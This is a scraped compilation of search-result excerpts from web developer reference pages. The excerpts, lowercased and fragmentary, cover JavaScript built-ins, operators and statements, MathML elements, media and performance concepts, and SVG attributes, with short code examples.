... items on the prototype chain are not listed: function parentclass() {} parentclass.prototype.inheritedmethod = function() {}; function childclass() { this.prop = 5; this.method = function() {}; } childclass.prototype = new parentclass; childclass.prototype.prototypemethod = function() {}; console.log( object.getownpropertynames( new childclass() // ["prop", "method"] ) ); get non-enumerable properties only this uses the array.prototype.filter() function to remove the enumerable keys (obtained with object.keys()) from a list of all keys (obtained with object.getownpropertynames()) thus giving only the non-enumerable keys as output.
Object.prototype.toSource() - JavaScript
for example: function person(name) { this.name = name; } person.prototype.tosource = function person_tosource() { return 'new person(' + uneval(this.name) + ')'; }; console.log(new person('joe').tosource()); // ---> new person("joe") built-in tosource() methods each core javascript type has its own tosource() method.
... math.tosource() — returns the string "math".
...for example: var obj1 = {}; var obj2 = { a: obj1 }; obj1.b = obj2; console.log('cyclical: ' + (obj1.b.a == obj1)); var objsource = obj1.tosource(); // returns "({b:{a:{}}})" obj1 = eval(objsource); console.log('cyclical: ' + (obj1.b.a == obj1)); if a cyclical structure is employed and tosource() is needed, the object must provide an override to tosource(), either using a reference to a constructor or providing an anonymous function.
...wing code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } thedog = new dog('gabby', 'lab', 'chocolate', 'female'); calling the tosource() method of thedog displays the javascript source that defines the object: thedog.tosource(); // returns ({name:"gabby", breed:"lab", color:"chocolate", sex:"female"}) specifications not part of any standard.
Object.prototype.toString() - JavaScript
if this method is not overridden in a custom object, tostring() returns "[object type]", where type is the object type.
... by using radix you can also convert base 10 numbers (like 1,2,3,4,5,.........) to another base numbers, in example below we are converting base 10 number to a base 2 (binary) number let basetenint = 10; console.log(basetenint.tostring(2)); // expected output is "1010" and same for big integers let bignum = bigint(20); console.log(bignum.tostring(2)); // expected output is "10100" some common radix are 2 for binary numbers, 8 for octal numbers, 10 for decimal numbers, 16 for hexadecimal numbers.
...this function generates a string containing the name, breed, color, and sex of the object, in the form "property = value;".
...is.sex + ' ' + this.color + ' ' + this.breed; return ret; } or, using es6 template strings: dog.prototype.tostring = function dogtostring() { return `dog ${this.name} is a ${this.sex} ${this.color} ${this.breed}`; } with the preceding code in place, any time thedog is used in a string context, javascript automatically calls the dogtostring() function, which returns the following string: "dog gabby is a female chocolate lab" using tostring() to detect object class tostring() can be used with every object and (by default) allows you to get its class.
Promise.race() - JavaScript
mise.race as soon as possible var resolvedpromisesarray = [promise.resolve(33), promise.resolve(44)]; var p = promise.race(resolvedpromisesarray); // immediately logging the value of p console.log(p); // using settimeout we can execute code after the stack is empty settimeout(function(){ console.log('the stack is now empty'); console.log(p); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: 33 } an empty iterable causes the returned promise to be forever pending: var foreverpendingpromise = promise.race([]); console.log(foreverpendingpromise); settimeout(function(){ console.log('the stack is now empty'); console.log(foreverpendingpromise); }); // logs, in order: // promise { <state>: "pending"...
... } // the stack is now empty // promise { <state>: "pending" } if the iterable contains one or more non-promise value and/or an already settled promise, then promise.race will resolve to the first of these values found in the array: var foreverpendingpromise = promise.race([]); var alreadyfulfilledprom = promise.resolve(100); var arr = [foreverpendingpromise, alreadyfulfilledprom, "non-promise value"]; var arr2 = [foreverpendingpromise, "non-promise value", promise.resolve(100)]; var p = promise.race(arr); var p2 = promise.race(arr2); console.log(p); console.log(p2); settimeout(function(){ console.log('the stack is now empty'); console.log(p); console.log(p2); }); // logs, in order: // promise { <state>: "pending" } // promise { <state>: "pending" } // the stack is now emp...
...ty // promise { <state>: "fulfilled", <value>: 100 } // promise { <state>: "fulfilled", <value>: "non-promise value" } using promise.race – examples with settimeout var p1 = new promise(function(resolve, reject) { settimeout(() => resolve('one'), 500); }); var p2 = new promise(function(resolve, reject) { settimeout(() => resolve('two'), 100); }); promise.race([p1, p2]) .then(function(value) { console.log(value); // "two" // both fulfill, but p2 is faster }); var p3 = new promise(function(resolve, reject) { settimeout(() => resolve('three'), 100); }); var p4 = new promise(function(resolve, reject) { settimeout(() => reject(new error('four')), 500); }); promise.race([p3, p4]) .then(function(value) { console.log(value); // "three" // p3 is faster, so it fulfills...
... }, function(reason) { // not called }); var p5 = new promise(function(resolve, reject) { settimeout(() => resolve('five'), 500); }); var p6 = new promise(function(resolve, reject) { settimeout(() => reject(new error('six')), 100); }); promise.race([p5, p6]) .then(function(value) { // not called }, function(error) { console.log(error.message); // "six" // p6 is faster, so it rejects }); specifications specification ecmascript (ecma-262)the definition of 'promise.race' in that specification.
Promise.resolve() - JavaScript
has a "then" method), the returned promise will "follow" that thenable, adopting its eventual state; otherwise the returned promise will be fulfilled with the value.
... examples using the static promise.resolve method promise.resolve('success').then(function(value) { console.log(value); // "success" }, function(value) { // not called }); resolving an array var p = promise.resolve([1,2,3]); p.then(function(v) { console.log(v[0]); // 1 }); resolving another promise var original = promise.resolve(33); var cast = promise.resolve(original); cast.then(function(value) { console.log('value: ' + value); }); console.log('original === cast ?
... resolving thenables and throwing errors // resolving a thenable object var p1 = promise.resolve({ then: function(onfulfill, onreject) { onfulfill('fulfilled!'); } }); console.log(p1 instanceof promise) // true, object casted to a promise p1.then(function(v) { console.log(v); // "fulfilled!" }, function(e) { // not called }); // thenable throws before callback // promise rejects var thenable = { then: function(resolve) { throw new typeerror('throwing'); resolve('resolving'); }}; var p2 = promise.resolve(thenable); p2.then(function(v) { // not called }, function(e) { console.error(e); // typeerror: throwing }); // thenable throws after callback // promise r...
...esolves var thenable = { then: function(resolve) { resolve('resolving'); throw new typeerror('throwing'); }}; var p3 = promise.resolve(thenable); p3.then(function(v) { console.log(v); // "resolving" }, function(e) { // not called }); specifications specification ecmascript (ecma-262)the definition of 'promise.resolve' in that specification.
RegExp.prototype.dotAll - JavaScript
the dotall property indicates whether or not the "s" flag is used with the regular expression.
... property attributes of regexp.prototype.dotall writable no enumerable no configurable yes description the value of dotall is a boolean and true if the "s" flag was used; otherwise, false.
... the "s" flag indicates that the dot special character (".") should additionally match the following line terminator ("newline") characters in a string, which it would not match otherwise: u+000a line feed (lf) ("\n") u+000d carriage return (cr) ("\r") u+2028 line separator u+2029 paragraph separator this effectively means the dot will match any character on the unicode basic multilingual plane (bmp).
... to allow it to match astral characters, the "u" (unicode) flag should be used.
RegExp.prototype.global - JavaScript
the global property indicates whether or not the "g" flag is used with the regular expression.
... property attributes of regexp.prototype.global writable no enumerable no configurable yes description the value of global is a boolean and true if the "g" flag was used; otherwise, false.
... the "g" flag indicates that the regular expression should be tested against all possible matches in a string.
... a regular expression defined as both global ("g") and sticky ("y") will ignore the global flag and perform sticky matches.
RegExp.prototype.multiline - JavaScript
the multiline property indicates whether or not the "m" flag is used with the regular expression.
... property attributes of regexp.prototype.multiline writable no enumerable no configurable yes description the value of multiline is a boolean and is true if the "m" flag was used; otherwise, false.
... the "m" flag indicates that a multiline input string should be treated as multiple lines.
... for example, if "m" is used, "^" and "$" change from matching at only the start or end of the entire string to the start or end of any line within the string.
RegExp.prototype.source - JavaScript
property attributes of regexp.prototype.source writable no enumerable no configurable yes examples using source var regex = /foobar/ig; console.log(regex.source); // "foobar", doesn't contain /.../ and "ig".
...instead, the string "(?:)" is returned.
... in addition, line terminators (such as "\n") are escaped now.
... new regexp().source; // "(?:)" new regexp('\n').source === '\n'; // true, prior to es5 new regexp('\n').source === '\\n'; // true, starting with es5 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.source' in that specification.
RegExp.prototype.unicode - JavaScript
the unicode property indicates whether or not the "u" flag is used with a regular expression.
... property attributes of regexp.prototype.unicode writable no enumerable no configurable yes description the value of unicode is a boolean and true if the "u" flag was used; otherwise false.
... the "u" flag enables various unicode-related features.
... with the "u" flag, any unicode code point escapes will be interpreted as such, for example.
RegExp - JavaScript
flags in constructor starting with ecmascript 6, new regexp(/ab+c/, 'i') no longer throws a typeerror ("can't supply flags when constructing one regexp from another") when the first argument is a regexp and the second flags argument is present.
... let re = /(\w+)\s(\w+)/ let str = 'john smith' let newstr = str.replace(re, '$2, $1') console.log(newstr) this displays "smith, john".
... using regular expression on multiple lines let s = 'please yes\nmake my day!' s.match(/yes.*day/); // returns null s.match(/yes[^]*day/); // returns ["yes\nmake my day"] using a regular expression with the sticky flag the sticky flag indicates that the regular expression performs sticky matching in the target string by attempting to match starting at regexp.prototype.lastindex.
... = 5 regex.test(str) // false (lastindex is taken into account with sticky flag) regex.lastindex // 0 (reset after match failure) the difference between the sticky flag and the global flag with the sticky flag y, the next match has to happen at the lastindex position, while with the global flag g, the match can happen at the lastindex position or later: re = /\d/y; while (r = re.exec("123 456")) console.log(r, "and re.lastindex", re.lastindex); // [ '1', index: 0, input: '123 456', groups: undefined ] and re.lastindex 1 // [ '2', index: 1, input: '123 456', groups: undefined ] and re.lastindex 2 // [ '3', index: 2, input: '123 456', groups: undefined ] and re.lastindex 3 // ...
Set - JavaScript
see "key equality for -0 and 0" in the browser compatibility table for details.
...lse, since 3 has not been added to the set myset.has(5) // true myset.has(math.sqrt(25)) // true myset.has('some text'.tolowercase()) // true myset.has(o) // true myset.size // 5 myset.delete(5) // removes 5 from the set myset.has(5) // false, 5 has been removed myset.size // 4, since we just removed one value console.log(myset) // logs set(4) [ 1, "some text", {…}, {…} ] in firefox // logs set(4) { 1, "some text", {…}, {…} } in chrome iterating sets // iterate over items in set // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset) console.log(item) // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset.keys()) console.log(item)...
... // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset.values()) console.log(item) // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} // (key and value are the same here) for (let [key, value] of myset.entries()) console.log(key) // convert set object to an array object, with array.from let myarr = array.from(myset) // [1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2}] // the following will also work if run in an html document myset.add(document.body) myset.has(document.queryselector('body')) // true // converting between set and array myset2 = new set([1, 2, 3, 4]) myset2.size // 4 [...myset2] // [1, 2, 3, 4] // intersect can be simulated via let intersection = ...
...rray as myarray remove duplicate elements from the array // use to remove duplicate elements from the array const numbers = [2,3,4,4,2,3,3,4,4,5,5,6,6,7,5,32,3,4,5] console.log([...new set(numbers)]) // [2, 3, 4, 5, 6, 7, 32] relation with strings let text = 'india' let myset = new set(text) // set ['i', 'n', 'd', 'i', 'a'] myset.size // 5 //case sensitive & duplicate ommision new set("firefox") // set(7) [ "f", "i", "r", "e", "f", "o", "x" ] new set("firefox") // set(6) [ "f", "i", "r", "e", "o", "x" ] specifications specification ecmascript (ecma-262)the definition of 'set' in that specification.
String.prototype.anchor() - JavaScript
the anchor() method creates a string beginning with an <a name="..."> start tag, then some text, and then an </a> end tag.
... syntax str.anchor(name) parameters name a string representing a name value to put into the generated <a name="..."> start tag.
... return value a string beginning with an <a name="name"> start tag, then the text str, and then an </a> end tag description don't use this method.
... examples using anchor() var mystring = 'table of contents'; document.body.innerhtml = mystring.anchor('contents_anchor'); will output the following html: <a name="contents_anchor">table of contents</a> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.anchor' in that specification.
String.fromCharCode() - JavaScript
for example, both string.fromcharcode(0xd83c, 0xdf03) and \ud83c\udf03 return code point u+1f303 "night with stars".
...for example, string.fromcodepoint(0x1f303) returns code point u+1f303 "night with stars".
... examples using fromcharcode() bmp characters, in utf-16, use a single code unit: string.fromcharcode(65, 66, 67); // returns "abc" string.fromcharcode(0x2014); // returns "" string.fromcharcode(0x12014); // also returns ""; the digit 1 is truncated and ignored string.fromcharcode(8212); // also returns ""; 8212 is the decimal form of 0x2014 complete utf 16 table.
...a surrogate pair): string.fromcharcode(0xd83c, 0xdf03); // code point u+1f303 "night with string.fromcharcode(55356, 57091); // stars" == "\ud83c\udf03" string.fromcharcode(0xd834, 0xdf06, 0x61, 0xd834, 0xdf07); // "\ud834\udf06a\ud834\udf07" specifications specification ecmascript (ecma-262)the definition of 'string.fromcharcode' in that specification.
String.prototype.slice() - JavaScript
console.log(str5) // output: "" using slice() with negative indexes the following example uses slice() with negative indexes.
... console.log(str.slice(-11, 16)) // => "is u" here it counts forwards from the start by 11 to find the start index and backwards from the end by 7 to find the end index.
... console.log(str.slice(11, -7)) // => " is u" these arguments count backwards from the end by 5 to find the start index and backwards from the end by 1 to find the end index.
... console.log(str.slice(-5, -1)) // => "n us" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.slice' in that specification.
String.prototype.substring() - JavaScript
let text = 'mozilla' console.log(text.substring(2,5)) // => "zil" console.log(text.substr(2,3)) // => "zil" differences between substring() and slice() the substring() and slice() methods are almost identical, but there are a couple of subtle differences between the two, especially in the way negative arguments are dealt with.
... let text = 'mozilla' console.log(text.substring(5, 2)) // => "zil" console.log(text.slice(5, 2)) // => "" if either or both of the arguments are negative or nan, the substring() method treats them as if they were 0.
... console.log(text.substring(-5, 2)) // => "mo" console.log(text.substring(-5, -2)) // => "" slice() also treats nan arguments as 0, but when it is given negative values it counts backwards from the end of the string to find the indexes.
... console.log(text.slice(-5, 2)) // => "" console.log(text.slice(-5, -2)) // => "zil" see the slice() page for more examples with negative numbers.
WebAssembly.Module.customSections() - JavaScript
(read high level structure for information on section structures, and how normal sections ("known sections") and custom sections are distinguished.) this provides developers with a way to include custom data inside wasm modules for other purposes, for example the name custom section, which allows developers to provide names for all the functions and locals in the module (like "symbols" in a native build).
... we then do a check using webassembly.module.customsections, looking to see whether the module instance contains a "name" custom section by checking that its length is more than 0.
... since there is a "name" section in the example, an arraybuffer object is returned.
... webassembly.compilestreaming(fetch('simple-name-section.wasm')) .then(function(mod) { var namesections = webassembly.module.customsections(mod, "name"); if (namesections.length != 0) { console.log("module contains a name section"); console.log(namesections[0]); }; }); specifications specification webassembly javascript interfacethe definition of 'customsections()' in that specification.
Equality (==) - JavaScript
examples comparison with no type conversion 1 == 1; // true "hello" == "hello"; // true comparison with type conversion "1" == 1; // true 1 == "1"; // true 0 == false; // true 0 == null; // false 0 == undefined; // false 0 == !!null; // true, look at logical not operator 0 == !!undefined; // true, look at logical not operator null == undefined; // true const number1 = new number(3); cons...
...t number2 = new number(3); number1 == 3; // true number1 == number2; // false comparison of objects const object1 = {"key": "value"} const object2 = {"key": "value"}; object1 == object2 // false object2 == object2 // true comparing strings and string objects note that strings constructed using new string() are objects.
...however, if both operands are string objects, then they are compared as objects and must reference the same object for comparison to succeed: const string1 = "hello"; const string2 = string("hello"); const string3 = new string("hello"); const string4 = new string("hello"); console.log(string1 == string2); // true console.log(string1 == string3); // true console.log(string2 == string3); // true console.log(string3 == string4); // false console.log(string4 == string4); // true comparing dates and strings const d = new date('december 17, 1995 03:24:00'); const s = d.tostring(); // for example: "sun dec 17 1995 03:24:00 gmt-0800 (pacific standard tim...
...e)" console.log(d == s); //true specifications specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
Logical AND (&&) - JavaScript
examples of expressions that can be converted to false are: null; nan; 0; empty string ("" or '' or ``); undefined.
... short-circuit evaluation the logical and expression is evaluated left to right, it is tested for possible "short-circuit" evaluation using the following rule: (some falsy expression) && expr is short-circuit evaluated to the falsy expression; short circuit means that the expr part above is not evaluated, hence any side effects of doing so do not take effect (e.g., if expr is a function call, the calling never takes place).
...see example: function a(){ console.log('called a'); return false; } function b(){ console.log('called b'); return true; } console.log( a() && b() ); // logs "called a" due to the function call, // then logs false (which is the resulting value of the operator) operator precedence the following expressions might seem equivalent, but they are not, because the && operator is executed before the || operator (see operator precedence).
... a1 = true && true // t && t returns true a2 = true && false // t && f returns false a3 = false && true // f && t returns false a4 = false && (3 == 4) // f && f returns false a5 = 'cat' && 'dog' // t && t returns "dog" a6 = false && 'cat' // f && t returns false a7 = 'cat' && false // t && f returns false a8 = '' && false // f && f returns "" a9 = false && '' // f && f returns false conversion rules for booleans converting and to or the following operation involving booleans: bcondition1 && bcondition2 is always equal to: !(!bcondition1 || !bcondition2) converting or to and ...
Logical OR (||) - JavaScript
examples of expressions that can be converted to false are: null; nan; 0; empty string ("" or '' or ``); undefined.
... short-circuit evaluation the logical or expression is evaluated left to right, it is tested for possible "short-circuit" evaluation using the following rule: (some truthy expression) || expr is short-circuit evaluated to the truthy expression.
...see example: function a(){ console.log('called a'); return false; } function b(){ console.log('called b'); return true; } console.log( b() || a() ); // logs "called b" due to the function call, // then logs true (which is the resulting value of the operator) operator precedence the following expressions might seem equivalent, but they are not, because the && operator is executed before the || operator (see operator precedence).
... o1 = true || true // t || t returns true o2 = false || true // f || t returns true o3 = true || false // t || f returns true o4 = false || (3 == 4) // f || f returns false o5 = 'cat' || 'dog' // t || t returns "cat" o6 = false || 'cat' // f || t returns "cat" o7 = 'cat' || false // t || f returns "cat" o8 = '' || false // f || f returns false o9 = false || '' // f || f returns "" o10 = false || varobject // f || object returns varobject note: if you use this operator to provide a default value to some variable, be aware that any falsy value will not be used.
async function - JavaScript
this is because p2 will not be "wired into" the promise chain until control returns from p1.
... examples async functions and execution order function resolveafter2seconds() { console.log("starting slow promise") return new promise(resolve => { settimeout(function() { resolve("slow") console.log("slow promise is done") }, 2000) }) } function resolveafter1second() { console.log("starting fast promise") return new promise(resolve => { settimeout(function() { resolve("fast") console.log("fast promise is done") }, 1000) }) } async func...
...y after 2., since fast is already resolved } function concurrentpromise() { console.log('==concurrent start with promise.all==') return promise.all([resolveafter2seconds(), resolveafter1second()]).then((messages) => { console.log(messages[0]) // slow console.log(messages[1]) // fast }) } async function parallel() { console.log('==parallel with await promise.all==') // start 2 "jobs" in parallel and wait for both of them to complete await promise.all([ (async()=>console.log(await resolveafter2seconds()))(), (async()=>console.log(await resolveafter1second()))() ]) } sequentialstart() // after 2 seconds, logs "slow", then after 1 more second, "fast" // wait above to finish settimeout(concurrentstart, 4000) // after 2 seconds, logs "slow" and then "fast" ...
...// wait again settimeout(concurrentpromise, 7000) // same as concurrentstart // wait again settimeout(parallel, 10000) // truly parallel: after 1 second, logs "fast", then after 1 more second, "slow" await and parallelism in sequentialstart, execution suspends 2 seconds for the first await, and then another second for the second await.
for...of - JavaScript
const iterable = [10, 20, 30]; for (let value of iterable) { value += 1; console.log(value); } // 11 // 21 // 31 iterating over a string const iterable = 'boo'; for (const value of iterable) { console.log(value); } // "b" // "o" // "o" iterating over a typedarray const iterable = new uint8array([0x00, 0xff]); for (const value of iterable) { console.log(value); } // 0 // 255 iterating over a map const iterable = new map([['a', 1], ['b', 2], ['c', 3]]); for (const entry of iterable) { console.log(entry); } // ['a', 1] // ['b', 2] // ['c', 3] for (const [key, value] of iterable) { console.log(value);...
... object.prototype.objcustom = function() {}; array.prototype.arrcustom = function() {}; const iterable = [3, 5, 7]; iterable.foo = 'hello'; for (const i in iterable) { console.log(i); // logs 0, 1, 2, "foo", "arrcustom", "objcustom" } for (const i in iterable) { if (iterable.hasownproperty(i)) { console.log(i); // logs 0, 1, 2, "foo" } } for (const i of iterable) { console.log(i); // logs 3, 5, 7 } let us look into the above code step by step.
... for (const i in iterable) { console.log(i); // logs 0, 1, 2, "foo", "arrcustom", "objcustom" } this loop logs only enumerable properties of the iterable object, in arbitrary order.
... for (const i in iterable) { if (iterable.hasownproperty(i)) { console.log(i); // logs 0, 1, 2, "foo" } } this loop is similar to the first one, but it uses hasownproperty() to check if the found enumerable property is the object's own, i.e.
label - JavaScript
in strict mode code, you can't use "let" as a label name.
... examples using a labeled continue with for loops var i, j; loop1: for (i = 0; i < 3; i++) { //the first for statement is labeled "loop1" loop2: for (j = 0; j < 3; j++) { //the second for statement is labeled "loop2" if (i === 1 && j === 1) { continue loop1; } console.log('i = ' + i + ', j = ' + j); } } // output is: // "i = 0, j = 0" // "i = 0, j = 1" // "i = 0, j = 2" // "i = 1, j = 0" // "i = 2, j = 0" // "i = 2, j = 1" // "i = 2, j = 2" // notice how it skips both "i = 1, j = 1" and "i = 1, j = 2" using a labeled continue statement given an array of items and an array of tests, this example counts the number of items that passes all the tests.
... var itemspassed = 0; var i, j; top: for (i = 0; i < items.length; i++) { for (j = 0; j < tests.length; j++) { if (!tests[j].pass(items[i])) { continue top; } } itemspassed++; } using a labeled break with for loops var i, j; loop1: for (i = 0; i < 3; i++) { //the first for statement is labeled "loop1" loop2: for (j = 0; j < 3; j++) { //the second for statement is labeled "loop2" if (i === 1 && j === 1) { break loop1; } console.log('i = ' + i + ', j = ' + j); } } // output is: // "i = 0, j = 0" // "i = 0, j = 1" // "i = 0, j = 2" // "i = 1, j = 0" // notice the difference with the previous continue example using a labeled break statement given an array of items and an array of tests, this example determines wheth...
... foo: { console.log('face'); break foo; console.log('this will not be executed'); } console.log('swap'); // this will log: // "face" // "swap" labeled function declarations starting with ecmascript 2015, labeled function declarations are now standardized for non-strict code in the web compatibility annex of the specification.
let - JavaScript
an explanation of why the name "let" was chosen can be found here.
...for example: var x = 'global'; let y = 'global'; console.log(this.x); // "global" console.log(this.y); // undefined emulating private members in dealing with constructors it is possible to use the let bindings to share one or more private members without using closures: var thing; { let privatescope = new weakmap(); let counter = 0; thing = function() { this.someproperty = 'foo'; privatescope.set(this, { hidden: ++counter, }); }; thin...
...g.prototype.showpublic = function() { return this.someproperty; }; thing.prototype.showprivate = function() { return privatescope.get(this).hidden; }; } console.log(typeof privatescope); // "undefined" var thing = new thing(); console.log(thing); // thing {someproperty: "foo"} thing.showpublic(); // "foo" thing.showprivate(); // 1 the same privacy pattern with closures over local variables can be created with var, but those need a function scope (typically an iife in the module pattern) instead of just a block scope like in the example above.
...the variable is in a "temporal dead zone" from the start of the block until the initialization is processed.
var - JavaScript
this behavior is called "hoisting", as it appears that the variable declaration is moved to the top of the function or global code.
...at the time "x = y" is evaluated, y exists so no referenceerror is thrown and its value is undefined.
... console.log(typeof z); // "undefined", since z doesn't exist yet function a() { var y = 2; // declares y within scope of function a, then assigns it a value of 2.
...console.log(x, z); // 3 5 console.log(typeof y); // "undefined", as y is local to function a specifications specification ecmascript (ecma-262)the definition of 'variable statement' in that specification.
JavaScript
both "java" and "javascript" are trademarks or registered trademarks of oracle in the u.s.
...the complete modules available there are as follows: javascript first steps answers some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", along with discussing key javascript features such as variables, strings, numbers, and arrays.
... concurrency model and event loop javascript has a concurrency model based on an "event loop".
... stack overflow stack overflow questions tagged with "javascript".
<maction> - MathML
the syntax is: <maction actiontype="statusline"> expression message </maction>.
... the syntax is: <maction actiontype="toggle" selection="positive-integer" > expression1 expression2 expressionn </maction>.
... the syntax is: <maction actiontype="tooltip"> expression message </maction>.
... examples the following example uses the "toggle" actiontype: <math> <maction actiontype="toggle"> <mfrac> <mn>6</mn> <mn>8</mn> </mfrac> <mfrac> <mrow> <mn>3</mn> <mo>&sdot;</mo> <mn>2</mn> </mrow> <mrow> <mn>4</mn> <mo>&sdot;</mo> <mn>2</mn> </mrow> </mfrac> <mfrac> <mn>3</mn> <mn>4</mn> </mfrac> </maction> </math> specifications specifica...
<mfenced> - MathML
the default value is ")" and any white space is trimmed.
...the default value is "(" and any white space is trimmed.
...the default value is ",".
... examples the last separator is repeated (,) sample rendering: rendering in your browser: a b c d e <math> <mfenced open="{" close="}" separators=";;,"> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mi>d</mi> <mi>e</mi> </mfenced> </math> all excess is ignored (,) sample rendering: rendering in your browser: a b c d e <math> <mfenced open="[" close="]" separators="||||,"> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mi>d</mi> <mi>e</mi> </mfenced> </math> specifications the <mfence...
<ms> - MathML
WebMathMLElementms
the default value is "&quot;".
...that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography.
...the default value is "&quot;".
... examples <math> <ms lquote="" rquote=""> abc </ms> </math> specifications specification status comment mathml 3.0the definition of 'ms' in that specification.
<semantics> - MathML
beware that <annotation-xml> elements are only recognized, if the encoding attribute is set to one of the following: "application/mathml-presentation+xml" "mathml-presentation" "svg1.1" "text/html" "image/svg+xml" "application/xml".
... note that "application/mathml+xml" is not mentioned here as it does not distinguish between content or presentation mathml.
..."mathml-content", "mathml-presentation", "application/openmath+xml", "image/png") cd the content dictionary that contains the annotation key symbol.
... example <math> <semantics> <!-- presentation mathml --> <mrow> <msup> <mi>x</mi> <mn>2</mn> </msup> <mo>+</mo> <mi>y</mi> </mrow> <!-- content mathml --> <annotation-xml encoding="mathml-content"> <apply> <plus/> <apply> <power/> <ci>x</ci> <cn type="integer">2</cn> </apply> <ci>y</ci> </apply> </annotation-xml> <!-- annotate an image --> <annotation encoding="image/png" src="some/path/formula.png"/> <!-- annotate tex --> <annotation encoding="application/x-tex"> x^{2} + y </annotation> </semantics> </math...
Digital audio concepts - Web media technologies
since the sample rate corresponds to the number of "slices" a sound wave is divided into for each second of time, it's sometimes thought of as a frequency (in the sense that it's a description of something that repeats periodically, not in terms of actual audio frequency), and the samples per second measurement therefore uses the hertz as its unit.
... there is a reason why 44.1 khz is considered the minimum "high fidelity" sampling rate.
... because of all these factors, and because speech waveforms are typically less complex than music, high (and more specifically "high enough") fidelity reproduction of speech can be achieved at a relatively low bit rate.
...some codecs have a number of values you can adjust (some of which may require a deep understanding of both psychoacoustics and of the codec's algorithms), and others offer a simple "quality" parameter you can set, which automatically adjusts various properties of the algorithm.
Digital video concepts - Web media technologies
what those values are depends on how you "split up" the color when converting it to numeric form.
... the name "yuv" is generally used today to describe this color system, even though the term was originally used specifically for analog coding of color, while ycbcr was used for digital color.
...this decoding operation must mirror the method used during encoding, which is represented by three numbers separated by colons (":").
...this value is essentially always 4, meaning "use all of the luminance samples." the second number specifies how many chroma samples are used to represent the colors of the pixels in the first row.
Animation performance and frame rate - Web Performance
this operation is labeled "layout" but is also sometimes called "reflow".
...one last step is not shown in this sequence: the page may be split into layers, which are painted independently and then combined in a process called "composition".
... there's also a video version of this walkthrough: animating using margin leaving the "use margin" option set, start the animation, open the performance tool, and make a recording.
... animating using transform now switch the radio button in the web page to "use transform", and make a new recording.
Lazy loading - Web Performance
entry point splitting: separates code by entry point(s) in the app dynamic splitting: separates code where dynamic import() statements are used javascript script type module any script tag with type="module" is treated like a javascript module and is deferred by default.
... <link href="style.css" rel="stylesheet" media="all"> <link href="portrait.css" rel="stylesheet" media="orientation:portrait"> <link href="print.css" rel="stylesheet" media="print"> it is possible to perform some css optimizations to achieve that.
... it is possible to override the default behaviour and preload web font resources using <link rel="preload">, the css font-display property, and the font loading api.
... <img src="image.jpg" loading="lazy" alt="..." /> <iframe src="video-player.html" loading="lazy"></iframe> the load event fires when the eagerly-loaded content has all been loaded; at that time, it's entirely possible (or even likely) that there may be lazily-loaded images that are within the visual viewport that haven't yet loaded.
clip-rule - SVG: Scalable Vector Graphics
the following fragment of code will cause an evenodd clipping rule to be applied to the clipping path because clip-rule is specified on the <path> element that defines the clipping shape: <g> <clippath id="myclip"> <path d="..." clip-rule="evenodd" /> </clippath> <rect clip-path="url(#myclip)" ...
... /> </g> whereas the following fragment of code will not cause an evenodd clipping rule to be applied because the clip-rule is specified on the referencing element, not on the object defining the clipping shape: <g> <clippath id="myclip"> <path d="..." /> </clippath> <rect clip-path="url(#myclip)" clip-rule="evenodd" ...
... example <svg width="100" viewbox="0 0 100 90" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- define star path --> <defs> <path d="m50,0 21,90 98,35 2,35 79,90z" id="star" /> </defs> <!-- left: evenodd --> <clippath id="emptystar"> <use xlink:href="#star" clip-rule="evenodd" /> </clippath> <rect clip-path="url(#emptystar)" width="50" height="90" fill="blue" /> <!-- right: nonzero --> ...
... <clippath id="filledstar"> <use xlink:href="#star" clip-rule="nonzero" /> </clippath> <rect clip-path="url(#filledstar)" width="50" height="90" x="50" fill="red" /> </svg> elements the following elements can use the clip-rule attribute, but only if they are inside a <clippath> element.
fx - SVG: Scalable Vector Graphics
WebSVGAttributefx
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.75" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100"...
... r="100" fill="url(#gradient2)" style="transform: translatex(240px);" /> </svg> usage notes value <length> default value coincides with the presentational value of cx for the element whether the value for cx was inherited or not.
... animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="6...
...3" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fx' in that specification.
fy - SVG: Scalable Vector Graphics
WebSVGAttributefy
